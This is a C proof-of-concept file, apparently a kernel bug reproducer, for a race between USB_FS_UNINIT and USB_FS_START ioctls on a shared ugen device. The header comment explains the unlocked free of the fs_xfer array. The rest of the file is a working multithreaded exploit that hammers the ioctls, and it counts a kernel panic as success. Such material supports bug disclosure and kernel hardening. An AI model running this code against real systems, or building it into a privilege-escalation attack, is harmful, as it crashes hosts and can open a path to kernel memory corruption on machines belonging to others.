DF-5288 / df5288.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-5288 -- USB_FS_UNINIT vs USB_FS_START/USB_FS_OPEN race on a shared * ugen fd -> use-after-free / NULL-deref of f->fs_xfer in the kernel. * * Root cause (sys/bus/u4b/usb_generic.c): * ugen_fs_uninit() [usb_generic.c:972] does * usbd_transfer_unsetup(f->fs_xfer, f->fs_ep_max); * kfree(f->fs_xfer, M_USB); * f->fs_xfer = NULL; f->fs_ep_max = 0; * WITHOUT holding f->priv_lock. Concurrent USB_FS_START * (ugen_ioctl [usb_generic.c:1424]) runs ugen_fs_copy_in() which * validates "ep_index >= f->fs_ep_max" and caches "xfer = * f->fs_xfer[ep_index]" with no lock, then sleeps in copyin() many * times, and finally the ioctl body re-reads * xfer = f->fs_xfer[u.pstart->ep_index]; [usb_generic.c:1429] * under priv_lock -- but the array itself may already be freed / the * pointer NULL -> NULL deref panic or use of freed memory. * * Build: cc -o df5288 df5288.c -pthread * Run: ./df5288 (needs rw access to the ugen control node) * Success criterion: kernel panics (page fault in ugen_ioctl / * ugen_fs_copy_in) or guest dies. "survived" = race not won in this run. */ #include <sys/types.h> #include <sys/ioctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <bus/u4b/usb.h> #include <bus/u4b/usb_ioctl.h> #ifndef DEV #define DEV "/dev/usb/0.2.0" /* control endpoint of ugen0.2 */ #endif static int fd; static volatile int stop; /* userland endpoint array (mirrors what libusb does) */ static struct usb_fs_endpoint eps[4]; static uint32_t lengths[4]; static void *buffers[4]; /* GET_STATUS(device): bmRequestType=0x80 bRequest=0 wValue=0 wIndex=0 wLength=2 */ static uint8_t setup_buf[8] = { 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 }; static void fs_init(void) { struct usb_fs_init ini; memset(&ini, 0, sizeof(ini)); ini.pEndpoints = eps; ini.ep_index_max = 4; if (ioctl(fd, USB_FS_INIT, &ini) < 0) err(1, "USB_FS_INIT"); } static void fs_open(void) { struct usb_fs_open op; memset(&op, 0, sizeof(op)); op.ep_index = 0; op.ep_no = 0x00; /* control endpoint */ op.max_bufsize = 256; op.max_frames = 4; if (ioctl(fd, USB_FS_OPEN, &op) < 0) err(1, "USB_FS_OPEN"); } static void * starter(void *arg) { struct usb_fs_start st; memset(&st, 0, sizeof(st)); st.ep_index = 0; while (!stop) { /* * Refresh the userland structures that the kernel will * copyin() one by one -- this stretches the unlocked * window inside ugen_fs_copy_in() that the uninitializer * has to hit. */ memset(eps, 0, sizeof(eps)); eps[0].nFrames = 2; eps[0].pLength = lengths; eps[0].ppBuffer = buffers; eps[0].timeout = 250; /* ms */ lengths[0] = 8; /* SETUP packet */ lengths[1] = 2; /* IN data */ buffers[0] = setup_buf; buffers[1] = setup_buf; ioctl(fd, USB_FS_START, &st); } return (NULL); } int main(void) { pthread_t th; struct usb_fs_uninit un; int i, uninit_ok = 0; memset(&un, 0, sizeof(un)); fd = open(DEV, O_RDWR); if (fd < 0) err(1, "open %s", DEV); fs_init(); fs_open(); if (pthread_create(&th, NULL, starter, NULL) != 0) err(1, "pthread_create"); for (i = 0; i < 50000; i++) { /* tear the fs_xfer array down while the starter hammers */ if (ioctl(fd, USB_FS_UNINIT, &un) == 0) { uninit_ok++; usleep(100 + (i % 7) * 37); fs_init(); fs_open(); } if ((i % 5000) == 0) printf("iter %d (uninit_ok=%d)\n", i, uninit_ok); } stop = 1; pthread_join(th, NULL); printf("survived %d uninit cycles\n", uninit_ok); return (0); } |